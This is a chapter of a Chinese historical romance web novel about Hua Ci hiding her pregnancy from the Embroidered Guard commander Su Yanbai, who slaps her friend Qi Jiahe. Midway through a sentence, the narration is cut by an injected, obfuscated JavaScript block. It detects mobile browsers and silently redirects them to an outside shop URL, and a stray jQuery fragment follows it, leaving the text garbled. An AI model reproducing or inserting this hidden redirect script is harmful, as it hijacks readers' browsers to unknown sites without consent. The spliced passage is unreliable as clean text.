上虞侯府是戚嘉和来京城后,所见过的最繁华之处。
这座侯府比他见过的古寺庙,以及护城河边的那些卫所都更精致,更壮观。
京城寸土寸金,花辞如今所住的绸缎铺很狭窄,院子里只能种一棵小小的松树,那棵松树经过修饰,像一棵巨大的盆栽,说得好听是身姿婀娜,说得不好听就是畸形怪状。
而上虞侯府的柳树和松树都能自由生长,枝叶舒展。
量完尺寸的戚嘉和,望着这些高大的树木,忽然眼睛发酸。
花辞和苏砚白之间,果真如云泥之别。
不知道花辞看到这些高大的松树和柳树,会不会如他一般感到心酸?
正沉浸在哀伤中,忽然听见脚步声走近,然后身旁人叫了声“侯爷”。戚嘉和忽然惊讶,手里的剪刀落下,垂直砸中脚背。还好他今日穿的靴子靴面扎实,剪子没扎进去,只砸得他脚背疼痛。
戚嘉和忍着疼痛,望着叫了三年多的“表兄”,眼底氤氲出一层水雾。
苏砚白看见花辞委屈,还有几分不忍。他看见戚嘉和委屈,却是铁石心肠。
苏砚白沉声问:“花辞最近想吃什么?”
“你问这个做什么?她想吃,你就会帮她弄出来?”戚嘉和看着苏砚白,忍不住想将花辞为了保护他,鼓起莫大的勇气毒杀了向百户的事情说出来。
花辞胆小,杀鱼杀鸡都不敢,却为了保护苏砚白而去杀人。
戚嘉和每次想起这些事,便气得胸口闷痛。
他虽害怕苏砚白,也因为这股纠缠在心中许久的怨气,对他说话没那么客气。
苏砚白观察敏锐,他立刻从戚嘉和说话的气势上觉察出来,在他离开宁城之后,发生了什么事。此事与花辞怀孕无关,而且也是因为此事,花辞才不打算将怀孕的事告诉他。
花辞竟然有事瞒着他,苏砚白感到不悦,
此时的苏砚白已经全然忘记,他在皇宫里重新看见花辞后的第一个念头是,要将她赶回宁城,说服她再也不来京城。
苏砚白扇了戚嘉和一巴掌。
戚嘉和没有闪躲。
“我问你什么,你便回答什么。”
“她想吃烤地瓜,你能给她找来吗?这会儿正是地瓜刚下地的季节,你上哪儿给她找烤地瓜?”
戚嘉和挨了打,说话比刚才更有气势了,他越来越不怕苏砚白。
在苏砚白没有弄清楚真相之前,他不打算动戚嘉和。他气量也没那么狭小,并不会因为戚嘉和的出言不逊就杀了他。戚嘉和此时的愤怒,是对花辞的维护,是替花辞感到委屈。
此时,下属过来提醒戚嘉和。
“侯爷,大伙还在议事厅等着呢。今日议事,是否需要推迟。”
“不用,我即刻便过去。”
苏砚白没再管戚嘉和,转身往议事厅走去。
*
量完尺寸后,花辞和戚嘉和一起坐马车回家。
戚嘉和挨了巴掌,脸红通通的,可他却没有顾得上自己的脸,反而开开心心地将香喷喷的烤红薯递到花辞面前。
花辞老早就闻到烤红薯的香味,馋得一直吞口水,吃了半肚子酸枣干的肚子终于感觉到了饥肠辘辘。
她握住烤红薯,指尖被烤红薯烫得微疼。
她顾不上吃烤红薯,只盯着戚嘉和的脸,语气充满担忧:“谁打的?”
“还能有谁?他问我你喜欢吃什么,我顶撞了他两句,他不高兴,便赏了我一巴掌。”
“你明知他是那种不念旧情之人,为什么还要讨这顿打呢?”
“是,他打我的这一巴掌很痛。可我把对他的不满发泄出来了,我心里高兴。看在他送来这份烤红薯的份上,不算吃亏。”戚嘉和催她:“快点吃吧!别跟我说话了。”
花辞把烤红薯掰成两截,分了一半给戚嘉和。
戚嘉和不接,她就一直把烤红薯伸到他面前。
戚嘉和犟不过她,就着她的手,咬了一口烤红薯,才从她手里接了过去。
花辞见他吃了,才肯自己吃。
她心里清楚,戚嘉和是想替她讨个公道,才挨了这巴掌。
戚嘉和可真是个不折不扣的傻瓜,他去跟锦衣卫头子讨公道?难道他没听说过锦衣卫折磨人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602506|204627||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那些手段吗?在苏砚白眼里,他们都是随时可以碾死的蝼蚁,命比蝼蚁还微贱。
戚嘉和吃完烤红薯,疑惑地看向花辞:“孩子的事怎么办?要不要跟苏砚白说?”
“为什么要告诉他?这孩子是我的,跟他没有任何关系。”
“你瘦,四个月了还没显怀,他暂时还没看出来你怀孕。等你肚子再大一点,能瞒得住他?”
“今日过后,我跟他再也不见面,他能知道什么?过几日我就跟太后告假,说我生病了,这几个月都不能入宫。”花辞耸了耸肩,笑得一脸狡黠:“再告诉你一个秘密,我已经写信,让商队的人把你表妹从宁城护送过来。等表妹来之后,我就给你们操持婚礼。”
花辞是这样打算的,等她把孩子生下来,先对外公布,这是戚嘉和的孩子。
等她在京城赚够了钱,带着孩子回宁城时,再将孩子过继到自己名下。
这样就能瞒天过海,让苏砚白没办法知道这个孩子的存在。
也许她做这些考虑,只是杞人忧天吧。苏砚白从来没有将她放在眼里,又怎会在乎她的孩子呢?
*
今日在议事厅,苏砚白几乎把所有下属都骂了一通。
回到书房,于归问:“侯爷是因为成亲的事生气吗?”
苏砚白冷笑一声,道:“华瑶微不足道,她还没那个本事让我生气。”
“老师还不知道吧,张鸿庆居然在陛下的膳食中下毒,想扶太子登基,挟天子以令诸侯。我今日将张鸿庆下毒的罪证递到陛下面前,陛下却觉得是我伪造证据,意图构陷张鸿庆。原来这老东西知道自己被我抓住小辫子,提前一步跪在陛下面前,痛哭着诉说我与他之间的恩怨。而陛下心慈手软,竟然相信了张鸿庆的这番话!”
于归感受到了苏砚白的气愤,但是以他对苏砚白的了解,哪怕是张鸿庆也不足以让他气得失去理智。
苏砚白和张鸿庆斗法这么多年,他一直都进退从容。
究竟发生了什么事?
苏砚白遣退了于归,将他探究的目光隔绝在门外,然后才拿出宁城锦衣卫送来的信。